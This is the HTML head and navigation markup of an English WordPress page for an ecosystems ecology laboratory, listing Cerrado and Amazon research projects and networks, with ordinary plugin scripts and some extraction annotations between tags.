1<!DOCTYPE html> 2<html lang="en-GB"> 3 4 <head> 5 <meta charset="UTF-8"> 6 <meta name="viewport" content="width=device-width, initial-scale=1"> 7 <link rel="profile" href="https://gmpg.org/xfn/11"> 8 9 <title>Ecosystems Lab.</title> 10<meta name='robots' content='max-image-preview:large' /> 11
11<script type="text/javascript"> 12 window.wgm_map_queue = window.wgm_map_queue || []; 13 window.wgm_gmap_api_loaded = function() { 14 window.wgm_map_queue.forEach(function(f) { f(); }); 15 window.wgm_map_queue = []; 16 }; 17 </script>
17 18 <link rel="alternate" href="https://bustamantelab.com.br/pt/apresentacao-lab/" hreflang="pt" /> 19<link rel="alternate" href="https://bustamantelab.com.br/en/ecosystems-ecology-laboratory/" hreflang="en" /> 20<link rel='dns-prefetch' href='//maps.google.com' /> 21<link rel='dns-prefetch' href='//fonts.googleapis.com' /> 22<link rel="alternate" type="application/rss+xml" title=" » Feed" href="https://bustamantelab.com.br/en/feed/" /> 23<link rel="alternate" type="application/rss+xml" title=" » Comments Feed" href="https://bustamantelab.com.br/en/comments/feed/" /> 24<link rel="alternate" title="oEmbed (JSON)" type="application/json+oembed" href="https://bustamantelab.com.br/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fbustamantelab.com.br%2Fen%2Fecosystems-ecology-laboratory%2F&lang=en" /> 25<link rel="alternate" title="oEmbed (XML)" type="text/xml+oembed" href="https://bustamantelab.com.br/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fbustamantelab.com.br%2Fen%2Fecosystems-ecology-laboratory%2F&format=xml&lang=en" /> 26<style id="wp-img-auto-sizes-contain-inline-css"> 27img:is([sizes=auto i],[sizes^="auto," i]){contain-intrinsic-size:3000px 1500px} 28/*# sourceURL=wp-img-auto-sizes-contain-inline-css */ 29</style> 30<style id="wp-emoji-styles-inline-css"> 31 32 img.wp-smiley, img.emoji { 33 display: inline !important; 34 border: none !important; 35 box-shadow: none !important; 36 height: 1em !important; 37 width: 1em !important; 38 margin: 0 0.07em !important; 39 vertical-align: -0.1em !important; 40 background: none !important; 41 padding: 0 !important; 42 } 43/*# sourceURL=wp-emoji-styles-inline-css */ 44</style> 45<style id="wp-block-library-inline-css"> 46:root{--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color);--wp-editor-canvas-background:#ddd;--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,160.5;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.wp-element-button{cursor:pointer}:root .has-very-light-gray-background-color{background-color:#eee}:root .has-very-dark-gray-background-color{background-color:#313131}:root .has-very-light-gray-color{color:#eee}:root .has-very-dark-gray-color{color:#313131}:root .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{background:linear-gradient(135deg,#00d084,#0693e3)}:root .has-purple-crush-gradient-background{background:linear-gradient(135deg,#34e2e4,#4721fb 50%,#ab1dfe)}:root .has-hazy-dawn-gradient-background{background:linear-gradient(135deg,#faaca8,#dad0ec)}:root .has-subdued-olive-gradient-background{background:linear-gradient(135deg,#fafae1,#67a671)}:root .has-atomic-cream-gradient-background{background:linear-gradient(135deg,#fdd79a,#004a59)}:root .has-nightshade-gradient-background{background:linear-gradient(135deg,#330968,#31cdcf)}:root .has-midnight-gradient-background{background:linear-gradient(135deg,#020381,#2874fc)}:root{--wp--preset--font-size--normal:16px;
46--wp--preset--font-size--huge:42px}.has-regular-font-size{font-size:1em}.has-larger-font-size{font-size:2.625em}.has-normal-font-size{font-size:var(--wp--preset--font-size--normal)}.has-huge-font-size{font-size:var(--wp--preset--font-size--huge)}:root .has-text-align-center{text-align:center}:root .has-text-align-left{text-align:left}:root .has-text-align-right{text-align:right}.has-fit-text{white-space:nowrap!important}#end-resizable-editor-section{display:none}.aligncenter{clear:both}.items-justified-left{justify-content:flex-start}.items-justified-center{justify-content:center}.items-justified-right{justify-content:flex-end}.items-justified-space-between{justify-content:space-between}.screen-reader-text{word-wrap:normal!important;border:0;clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.screen-reader-text:focus{background-color:#ddd;clip-path:none;color:#444;display:block;font-size:1em;height:auto;left:5px;line-height:normal;padding:15px 23px 14px;text-decoration:none;top:5px;width:auto;z-index:100000}html :where(.has-border-color){border-style:solid}html :where([style*=border-color]){border-style:solid}html :where([style*=border-top-color]){border-top-style:solid}html :where([style*=border-right-color]){border-right-style:solid}html :where([style*=border-bottom-color]){border-bottom-style:solid}html :where([style*=border-left-color]){border-left-style:solid}html :where([style*=border-width]){border-style:solid}html :where([style*=border-top-width]){border-top-style:solid}html :where([style*=border-right-width]){border-right-style:solid}html :where([style*=border-bottom-width]){border-bottom-style:solid}html :where([style*=border-left-width]){border-left-style:solid}html :where(img[class*=wp-image-]){height:auto;max-width:100%}:where(figure){margin:0 0 1em}html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:var(--wp-admin--admin-bar--height,0px)}@media screen and (max-width:600px){html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:0px}} 47 48/*# sourceURL=/wp-includes/css/dist/block-library/common.min.css */ 49</style> 50 51<style id="global-styles-inline-css"> 52:root{--wp--preset--aspect-ratio--square: 1;--wp--preset--aspect-ratio--4-3: 4/3;--wp--preset--aspect-ratio--3-4: 3/4;--wp--preset--aspect-ratio--3-2: 3/2;--wp--preset--aspect-ratio--2-3: 2/3;--wp--preset--aspect-ratio--16-9: 16/9;--wp--preset--aspect-ratio--9-16: 9/16;--wp--preset--color--black: #000000;--wp--preset--color--cyan-bluish-gray: #abb8c3;--wp--preset--color--white: #ffffff;--wp--preset--color--pale-pink: #f78da7;--wp--preset--color--vivid-red: #cf2e2e;--wp--preset--color--luminous-vivid-orange: #ff6900;--wp--preset--color--luminous-vivid-amber: #fcb900;--wp--preset--color--light-green-cyan: #7bdcb5;--wp--preset--color--vivid-green-cyan: #00d084;--wp--preset--color--pale-cyan-blue: #8ed1fc;--wp--preset--color--vivid-cyan-blue: #0693e3;--wp--preset--color--vivid-purple: #9b51e0;--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple: linear-gradient(135deg,rgb(6,147,227) 0%,rgb(155,81,224) 100%);--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan: linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradient(135deg,rgb(252,185,0) 0%,rgb(255,105,0) 100%);--wp--preset--gradient--luminous-vivid-orange-to-vivid-red: linear-gradient(135deg,rgb(255,105,0) 0%,rgb(207,46,46) 100%);--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray: linear-gradient(135deg,rgb(238,238,238) 0%,rgb(169,184,195) 100%);
52--wp--preset--gradient--cool-to-warm-spectrum: linear-gradient(135deg,rgb(74,234,220) 0%,rgb(151,120,209) 20%,rgb(207,42,186) 40%,rgb(238,44,130) 60%,rgb(251,105,98) 80%,rgb(254,248,76) 100%);--wp--preset--gradient--blush-light-purple: linear-gradient(135deg,rgb(255,206,236) 0%,rgb(152,150,240) 100%);--wp--preset--gradient--blush-bordeaux: linear-gradient(135deg,rgb(254,205,165) 0%,rgb(254,45,45) 50%,rgb(107,0,62) 100%);--wp--preset--gradient--luminous-dusk: linear-gradient(135deg,rgb(255,203,112) 0%,rgb(199,81,192) 50%,rgb(65,88,208) 100%);--wp--preset--gradient--pale-ocean: linear-gradient(135deg,rgb(255,245,203) 0%,rgb(182,227,212) 50%,rgb(51,167,181) 100%);--wp--preset--gradient--electric-grass: linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%);--wp--preset--gradient--midnight: linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%);--wp--preset--font-size--small: 0.9rem;--wp--preset--font-size--medium: 1.05rem;--wp--preset--font-size--large: clamp(1.39rem, 1.39rem + ((1vw - 0.2rem) * 0.836), 1.85rem);--wp--preset--font-size--x-large: clamp(1.85rem, 1.85rem + ((1vw - 0.2rem) * 1.182), 2.5rem);--wp--preset--font-size--xx-large: clamp(2.5rem, 2.5rem + ((1vw - 0.2rem) * 1.4), 3.27rem);--wp--preset--spacing--20: 0.44rem;--wp--preset--spacing--30: 0.67rem;--wp--preset--spacing--40: 1rem;--wp--preset--spacing--50: 1.5rem;--wp--preset--spacing--60: 2.25rem;--wp--preset--spacing--70: 3.38rem;--wp--preset--spacing--80: 5.06rem;--wp--preset--shadow--natural: 6px 6px 9px rgba(0, 0, 0, 0.2);--wp--preset--shadow--deep: 12px 12px 50px rgba(0, 0, 0, 0.4);--wp--preset--shadow--sharp: 6px 6px 0px rgba(0, 0, 0, 0.2);--wp--preset--shadow--outlined: 6px 6px 0px -3px rgb(255, 255, 255), 6px 6px rgb(0, 0, 0);--wp--preset--shadow--crisp: 6px 6px 0px rgb(0, 0, 0);}:root { --wp--style--global--content-size: var(--total-container-width, var(--total-wide-container-width, 1170px));--wp--style--global--wide-size: 1200px; }:where(body) { margin: 0; }.wp-site-blocks > .alignleft { float: left; margin-right: 2em; }.wp-site-blocks > .alignright { float: right; margin-left: 2em; }.wp-site-blocks > .aligncenter { justify-content: center; margin-left: auto; margin-right: auto; }:where(.wp-site-blocks) > * { margin-block-start: 24px; margin-block-end: 0; }:where(.wp-site-blocks) > :first-child { margin-block-start: 0; }:where(.wp-site-blocks) > :last-child { margin-block-end: 0; }:root { --wp--style--block-gap: 24px; }:root :where(.is-layout-flow) > :first-child{margin-block-start: 0;}:root :where(.is-layout-flow) > :last-child{margin-block-end: 0;}:root :where(.is-layout-flow) > *{margin-block-start: 24px;margin-block-end: 0;}:root :where(.is-layout-constrained) > :first-child{margin-block-start: 0;}:root :where(.is-layout-constrained) > :last-child{margin-block-end: 0;}:root :where(.is-layout-constrained) > *{margin-block-start: 24px;margin-block-end: 0;}:root :where(.is-layout-flex){gap: 24px;}:root :where(.is-layout-grid){gap: 24px;}.is-layout-flow > .alignleft{float: left;margin-inline-start: 0;margin-inline-end: 2em;}.is-layout-flow > .alignright{float: right;margin-inline-start: 2em;margin-inline-end: 0;}.is-layout-flow > .aligncenter{margin-left: auto !important;margin-right: auto !important;}.is-layout-constrained > .alignleft{float: left;margin-inline-start: 0;margin-inline-end: 2em;}.is-layout-constrained > .alignright{float: right;margin-inline-start: 2em;margin-inline-end: 0;}.is-layout-constrained > .aligncenter{margin-left: auto !important;margin-right: auto !important;}.is-layout-constrained > :where(:not(.alignleft):not(.alignright):not(.alignfull)){max-width: var(--wp--style--global--content-size);margin-left: auto !important;margin-right: auto !important;}.is-layout-constrained > .alignwide{max-width: var(--wp--style--global--wide-size);}body .is-layout-flex{display: flex;}.is-layout-flex{flex-wrap: wrap;align-items: center;}.is-layout-flex > :is(*, div){margin: 0;}body .is-layout-grid{display: grid;}.is-layout-grid > :is(*, div){margin: 0;}body{padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;}:root :where(.wp-element-button, .wp-block-button__link){background-color: #32373c;border-width: 0;color: #fff;font-family: inherit;font-size: inherit;font-style: inherit;font-weight: inherit;letter-spacing: inherit;line-height: inherit;padding-top: calc(0.667em + 2px);padding-right: calc(1.333em + 2px);padding-bottom: calc(0.667em + 2px);padding-left: calc(1.333em + 2px);text-decoration: none;text-transform: inherit;}.has-black-color{color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-color{color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-color{color: var(--wp--preset--color--white) !important;}.has-pale-pink-color{color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-color{color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-color{color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-color{color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-color{color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-color{color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-color{color: var(--wp--preset--color--vivid-purple) !important;}.has-black-background-color{background-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-background-color{background-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-background-color{background-color: var(--wp--preset--color--white) !important;}.has-pale-pink-background-color{background-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-background-color{background-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-background-color{background-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-background-color{background-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-background-color{background-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-background-color{background-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-background-color{background-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-background-color{background-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-background-color{background-color: var(--wp--preset--color--vivid-purple) !important;}.has-black-border-color{border-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-border-color{border-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-border-color{border-color: var(--wp--preset--color--white) !important;}.has-pale-pink-border-color{border-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-border-color{border-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-border-color{border-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-border-color{border-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-border-color{border-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-border-color{border-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-border-color{border-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-border-color{border-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-border-color{border-color: var(--wp--preset--color--vivid-purple) !important;}.has-vivid-cyan-blue-to-vivid-purple-gradient-background{background: var(--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple) !important;}.has-light-green-cyan-to-vivid-green-cyan-gradient-background{background: var(--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan) !important;}.has-luminous-vivid-amber-to-luminous-vivid-orange-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange) !important;}.has-luminous-vivid-orange-to-vivid-red-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-orange-to-vivid-red) !important;}
52.has-very-light-gray-to-cyan-bluish-gray-gradient-background{background: var(--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray) !important;}.has-cool-to-warm-spectrum-gradient-background{background: var(--wp--preset--gradient--cool-to-warm-spectrum) !important;}.has-blush-light-purple-gradient-background{background: var(--wp--preset--gradient--blush-light-purple) !important;}.has-blush-bordeaux-gradient-background{background: var(--wp--preset--gradient--blush-bordeaux) !important;}.has-luminous-dusk-gradient-background{background: var(--wp--preset--gradient--luminous-dusk) !important;}.has-pale-ocean-gradient-background{background: var(--wp--preset--gradient--pale-ocean) !important;}.has-electric-grass-gradient-background{background: var(--wp--preset--gradient--electric-grass) !important;}.has-midnight-gradient-background{background: var(--wp--preset--gradient--midnight) !important;}.has-small-font-size{font-size: var(--wp--preset--font-size--small) !important;}.has-medium-font-size{font-size: var(--wp--preset--font-size--medium) !important;}.has-large-font-size{font-size: var(--wp--preset--font-size--large) !important;}.has-x-large-font-size{font-size: var(--wp--preset--font-size--x-large) !important;}.has-xx-large-font-size{font-size: var(--wp--preset--font-size--xx-large) !important;} 53/*# sourceURL=global-styles-inline-css */ 54</style> 55 56<link rel='stylesheet' id='wgm-select2-css-css' href='https://bustamantelab.com.br/wp-content/plugins/gmap-embed/admin/assets/third-party/select2/css/select2.min.css?ver=4.1.0-rc.0' media='all' /> 57<link rel='stylesheet' id='wgm-design-system-css-css' href='https://bustamantelab.com.br/wp-content/plugins/gmap-embed/admin/assets/css/wgm-design-system.css?ver=1785263920' media='all' /> 58<link rel='stylesheet' id='wp-gmap-front-custom-style-css-css' href='https://bustamantelab.com.br/wp-content/plugins/gmap-embed/public/assets/css/front_custom_style.css?ver=1785263920' media='all' /> 59<link rel='stylesheet' id='style_login_widget-css' href='https://bustamantelab.com.br/wp-content/plugins/login-sidebar-widget/css/style_login_widget.css?ver=7.0.6' media='all' /> 60<link rel='stylesheet' id='thickbox.css-css' href='https://bustamantelab.com.br/wp-includes/js/thickbox/thickbox.css?ver=1.0' media='all' /> 61<link rel='stylesheet' id='dashicons-css' href='https://bustamantelab.com.br/wp-includes/css/dashicons.min.css?ver=7.0.6' media='all' /> 62<link rel='stylesheet' id='thickbox-css' href='https://bustamantelab.com.br/wp-includes/js/thickbox/thickbox.css?ver=7.0.6' media='all' /> 63<link rel='stylesheet' id='animate-css' href='https://bustamantelab.com.br/wp-content/themes/total/css/animate.css?ver=2.2.0' media='all' /> 64<link rel='stylesheet' id='fontawesome-6.4.2-css' href='https://bustamantelab.com.br/wp-content/themes/total/css/fontawesome-6.3.0.css?ver=2.2.0' media='all' /> 65<link rel='stylesheet' id='font-awesome-v4-shims-css' href='https://bustamantelab.com.br/wp-content/themes/total/css/v4-shims.css?ver=2.2.0' media='all' /> 66<link rel='stylesheet' id='owl-carousel-css' href='https://bustamantelab.com.br/wp-content/themes/total/css/owl.carousel.css?ver=2.2.0' media='all' /> 67<link rel='stylesheet' id='nivo-lightbox-css' href='https://bustamantelab.com.br/wp-content/themes/total/css/nivo-lightbox.css?ver=2.2.0' media='all' /> 68<link rel='stylesheet' id='total-style-css' href='https://bustamantelab.com.br/wp-content/themes/total/style.css?ver=2.2.0' media='all' /> 69<style id="total-style-inline-css"> 70:root{--total-template-color:#028200;--total-template-transparent-color:rgba(2,130,0,0.9);--total-sidebar-width:30%;--total-container-width:1170px;--total-fluid-container-width:80%;--total-container-padding:80px;--total-content-header-color:#000000;--total-content-text-color :#333333;--total-content-link-color :#000000;--total-content-link-hov-color :;--total-title-color :#333333;--total-tagline-color :#333333;--total-footer-bg-url:url(https://bustamantelab.com.br/wp-content/themes/total/images/footer-bg.jpg);--total-footer-bg-size:auto;--total-footer-bg-repeat:repeat;--total-footer-bg-position:center center;--total-footer-bg-attachment:scroll;--total-footer-bg-overlay:;--total-footer-bg-color:#222222;--total-top-footer-title-color:#EEEEEE;--total-top-footer-text-color:#EEEEEE;--total-footer-anchor-color:#EEEEEE;--total-bottom-footer-text-color:#EEEEEE;--total-bottom-footer-anchor-color:#EEEEEE;--total-service-left-bg:url(https://bustamantelab.com.br/wp-content/uploads/2017/01/cropped-cropped-logo_ecossistemas_final-04.png);--total-counter-bg:url(https://bustamantelab.com.br/wp-content/uploads/2016/12/Maria-Regina-Sartori_Fotor.jpg);--total-cta-bg:url(https://bustamantelab.com.br/wp-content/uploads/2016/11/IB_UnB.jpg)}:root{}.ht-header{border-top:4px solid var(--total-template-color)}#ht-colophon{border-top:4px solid var(--total-template-color)}@media screen and (max-width:1170px){.ht-container,.elementor-section.elementor-section-boxed.elementor-section-stretched>.elementor-container,.elementor-template-full-width .elementor-section.elementor-section-boxed>.elementor-container,.e-con.e-parent>.e-con-inner{width:100% !important;padding-left:30px !important;padding-right:30px !important} body.ht-boxed #ht-page{width:95% !important} .ht-slide-caption{width:80% !important}} 71/*# sourceURL=total-style-inline-css */ 72</style> 73<link rel='stylesheet' id='total-fonts-css' href='https://fonts.googleapis.com/css?family=Poppins%3A100%2C100i%2C200%2C200i%2C300%2C300i%2C400%2C400i%2C500%2C500i%2C600%2C600i%2C700%2C700i%2C800%2C800i%2C900%2C900i%7COswald%3A200%2C300%2C400%2C500%2C600%2C700&subset=latin%2Clatin-ext&display=swap' media='all' /> 74<link rel='stylesheet' id='__EPYT__style-css' href='https://bustamantelab.com.br/wp-content/plugins/youtube-embed-
74plus/styles/ytprefs.min.css?ver=14.2.6.1' media='all' /> 75<style id="__EPYT__style-inline-css"> 76 77 .epyt-gallery-thumb { 78 width: 33.333%; 79 } 80 81/*# sourceURL=__EPYT__style-inline-css */ 82</style>
83<script id="jquery-core-js" src="https://bustamantelab.com.br/wp-includes/js/jquery/jquery.min.js?ver=3.7.1"></script>
vendor: 1 bytes, line 83
83
84<script id="jquery-migrate-js" src="https://bustamantelab.com.br/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1"></script>
vendor: 1 bytes, line 84
84
85<script id="wp-gmap-api-js" async defer src="https://maps.google.com/maps/api/js?key=AIzaSyD8QE4fl7qPL93hKX29pP-CHsrnctMoNOg&libraries=places&language=en&region=US&callback=wgm_gmap_api_loaded&ver=7.0.6"></script>
vendor: 1 bytes, line 85
85
86<script id="wp-gmap-api-js-after"> 87/* <![CDATA[ */ 88 89var wgm_status = {"p_v":"1.9.7","p_d_v":"20260725","l_api":"always","p_api":"N","i_p":false,"d_f_s_c":"N","d_s_v":"N","d_z_c":"N","d_p_c":"N","d_m_t_c":"N","d_m_w_z":"N","d_m_d":"N","d_m_d_c_z":"N","e_d_f_a_c":"Y","lng":"en","reg":"US","d_u":"km","m_r":"administrator","php_v":"8.3.33","wp_v":"7.0.6"}; 90/* ]]> */ 91//# sourceURL=wp-gmap-api-js-after 92</script>
vendor: 1 bytes, line 92
92
93<script id="jquery.validate.min-js" src="https://bustamantelab.com.br/wp-content/plugins/login-sidebar-widget/js/jquery.validate.min.js?ver=7.0.6"></script>
vendor: 1 bytes, line 93
93
94<script id="additional-methods-js" src="https://bustamantelab.com.br/wp-content/plugins/login-sidebar-widget/js/additional-methods.js?ver=7.0.6"></script>
vendor: 1 bytes, line 94
94
95<script id="BENrueeg_RUE-not_file_js-js-extra"> 96var BENrueeg_RUE_js_Params = []; 97//# sourceURL=BENrueeg_RUE-not_file_js-js-extra 98</script>
vendor: 1 bytes, line 98
98
99<script id="__ytprefs__-js-extra"> 100var _EPYT_ = {"ajaxurl":"https://bustamantelab.com.br/wp-admin/admin-ajax.php","security":"ed9104b03e","gallery_scrolloffset":"20","eppathtoscripts":"https://bustamantelab.com.br/wp-content/plugins/youtube-embed-plus/scripts/","eppath":"https://bustamantelab.com.br/wp-content/plugins/youtube-embed-plus/","epresponsiveselector":"[\"iframe.__youtube_prefs_widget__\"]","epdovol":"1","version":"14.2.6.1","evselector":"iframe.__youtube_prefs__[src], iframe[src*=\"youtube.com/embed/\"], iframe[src*=\"youtube-nocookie.com/embed/\"]","ajax_compat":"","maxres_facade":"eager","ytapi_load":"light","pause_others":"","stopMobileBuffer":"1","facade_mode":"","not_live_on_channel":""}; 101//# sourceURL=__ytprefs__-js-extra 102</script>
vendor: 1 bytes, line 102
102
103<script id="__ytprefs__-js" src="https://bustamantelab.com.br/wp-content/plugins/youtube-embed-plus/scripts/ytprefs.min.js?ver=14.2.6.1"></script>
vendor: 1 bytes, line 103
103
104<script id="Calendar-js" src="https://bustamantelab.com.br/wp-content/plugins/spider-event-calendar/elements/calendar.js?ver=1.5.65"></script>
vendor: 1 bytes, line 104
104
105<script id="calendar-setup-js" src="https://bustamantelab.com.br/wp-content/plugins/spider-event-calendar/elements/calendar-setup.js?ver=1.5.65"></script>
vendor: 1 bytes, line 105
105
106<script id="calendar_function-js" src="https://bustamantelab.com.br/wp-content/plugins/spider-event-calendar/elements/calendar_function.js?ver=1.5.65"></script>
vendor: 1 bytes, line 106
106
107<script></script>
107<link rel="https://api.w.org/" href="https://bustamantelab.com.br/wp-json/" /><link rel="alternate" title="JSON" type="application/json" href="https://bustamantelab.com.br/wp-json/wp/v2/pages/274" /><link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://bustamantelab.com.br/xmlrpc.php?rsd" /> 108<link rel="canonical" href="https://bustamantelab.com.br/en/ecosystems-ecology-laboratory/" /> 109<link rel='shortlink' href='https://bustamantelab.com.br/?p=274' /> 110<style></style>
110<script> 111 var xx_cal_xx = '&'; 112 </script>
112 113 <meta name="generator" content="Powered by WPBakery Page Builder - drag and drop page builder for WordPress."/> 114<style id="custom-background-css"> 115body.custom-background { background-color: #f9f9f9; background-image: url("https://bustamantelab.com.br/wp-content/uploads/2017/01/Fundo.png"); background-position: center top; background-size: auto; background-repeat: repeat-y; background-attachment: scroll; } 116</style> 117<link rel="icon" href="https://bustamantelab.com.br/wp-content/uploads/2017/01/cropped-cropped-logo_ecossistemas_final-04-32x32.png" sizes="32x32" /> 118<link rel="icon" href="https://bustamantelab.com.br/wp-content/uploads/2017/01/cropped-cropped-logo_ecossistemas_final-04-192x192.png" sizes="192x192" /> 119<link rel="apple-touch-icon" href="https://bustamantelab.com.br/wp-content/uploads/2017/01/cropped-cropped-logo_ecossistemas_final-04-180x180.png" /> 120<meta name="msapplication-TileImage" content="https://bustamantelab.com.br/wp-content/uploads/2017/01/cropped-cropped-logo_ecossistemas_final-04-270x270.png" /> 121<noscript><style> .wpb_animate_when_almost_visible { opacity: 1; }</style></noscript> <link rel='stylesheet' id='spcalendar-jos-css' href='https://bustamantelab.com.br/wp-content/plugins/spider-event-calendar/elements/calendar-jos.css?ver=1.5.65' media='' /> 122<link rel='stylesheet' id='wp-color-picker-css' href='https://bustamantelab.com.br/wp-admin/css/color-picker.min.css?ver=7.0.6' media='all' /> 123 124</head> 125 126 <body class="wp-singular page-template-default page page-id-274 custom-background wp-custom-logo wp-embed-responsive wp-theme-total group-blog ht-wide ht_no_sidebar_condensed ht-titlebar-enabled ht-sticky-header wpb-js-composer js-comp-ver-8.3.1 vc_responsive"> 127 <div id="ht-page"><a class="skip-link screen-reader-text" href="#ht-content">Skip to content</a> <header id="ht-masthead" class="ht-site-header"> 128 <div class="ht-header"> 129 <div class="ht-container"> 130 <div id="ht-site-branding"> 131 <a href="https://bustamantelab.com.br/en/" class="custom-logo-link" rel="home"><img width="1878" height="422" src="https://bustamantelab.com.br/wp-content/uploads/2017/02/cropped-logo_major.png" class="custom-logo" alt="" decoding="async" fetchpriority="high" srcset="https://bustamantelab.com.br/wp-content/uploads/2017/02/cropped-logo_major.png 1878w, https://bustamantelab.com.br/wp-content/uploads/2017/02/cropped-logo_major-300x67.png 300w, https://bustamantelab.com.br/wp-content/uploads/2017/02/cropped-logo_major-768x173.png 768w, https://bustamantelab.com.br/wp-content/uploads/2017/02/cropped-logo_major-1024x230.png 1024w" sizes="(max-width: 1878px) 100vw, 1878px" /></a> </div> 132 133 <nav id="ht-site-navigation" class="ht-main-navigation"> 134 <a href="#" class="toggle-bar"><span></span></a> 135 <div class="ht-menu ht-clearfix"><ul> 136<li class="page_item page-item-274 current_page_item"><a href="https://bustamantelab.com.br/en/ecosystems-ecology-laboratory/" aria-current="page">Ecosystems Lab.</a></li> 137<li class="page_item page-item-247"><a href="https://bustamantelab.com.br/en/mercedes-bustamante-2/">Mercedes Bustamante</a></li> 138<li class="page_item page-item-263 page_item_has_children"><a href="https://bustamantelab.com.br/en/working-areas/">Working Areas</a> 139<ul class='children'> 140 <li class="page_item page-item-350"><a href="https://bustamantelab.com.br/en/working-areas/terrestrial-ecosystems/">Terrestrial Ecosystems</a></li> 141 <li class="page_item page-item-357"><a href="https://bustamantelab.com.br/en/working-areas/aquatic-ecosystems/">Aquatic Ecosystems</a></li> 142 <li class="page_item page-item-361"><a href="https://bustamantelab.com.br/en/working-areas/climate-changes/">Global Changes</a></li> 143 <li class="page_item page-item-316 page_item_has_children"><a href="https://bustamantelab.com.br/en/working-areas/ongoing-projects/">Ongoing projects</a> 144 <ul class='children'> 145 <li class="page_item page-item-806"><a href="https://bustamantelab.com.br/en/working-areas/ongoing-projects/impacts-of-eutrophication-on-plant-pollinator-interaction-networks-and-associated-ecosystem-services-comparing-the-brazilian-savannah-cerrado-with-several-habitats-worldwide/">Impacts of eutrophication on plant-pollinator interaction networks and associated ecosystem services: comparing the Brazilian savannah (Cerrado
145) with several habitats worldwide.</a></li> 146 <li class="page_item page-item-813"><a href="https://bustamantelab.com.br/en/working-areas/ongoing-projects/interactions-between-woody-diversity-and-soil-microorganisms-and-nutrient-cycling-in-the-cerrado/">Interactions between woody diversity and soil microorganisms and nutrient cycling in the Cerrado.</a></li> 147 <li class="page_item page-item-811"><a href="https://bustamantelab.com.br/en/working-areas/ongoing-projects/nitrogen-cycling-in-latin-america-drivers-impacts-and-vulnerabilities-nnet/">Nitrogen cycling in Latin America: Drivers, Impacts and Vulnerabilities (Nnet).</a></li> 148 <li class="page_item page-item-815"><a href="https://bustamantelab.com.br/en/working-areas/ongoing-projects/regional-carbon-and-water-balance-under-land-use-change-in-the-amazon-cerrado-transition/">Regional carbon and water balance under land-use change in the Amazon-Cerrado transition.</a></li> 149 </ul> 150</li> 151 <li class="page_item page-item-671 page_item_has_children"><a href="https://bustamantelab.com.br/en/working-areas/research-networks/">Research Networks</a> 152 <ul class='children'> 153 <li class="page_item page-item-674"><a href="https://bustamantelab.com.br/en/working-areas/research-networks/climate-network/">Climate Network</a></li> 154 <li class="page_item page-item-343"><a href="https://bustamantelab.com.br/en/working-areas/research-networks/comcerrado-network/">ComCerrado Network</a></li> 155 <li class="page_item page-item-320"><a href="https://bustamantelab.com.br/en/working-areas/research-networks/peld/">PELD – Long-Term Ecological Researches</a></li> 156 <li class="page_item page-item-677"><a 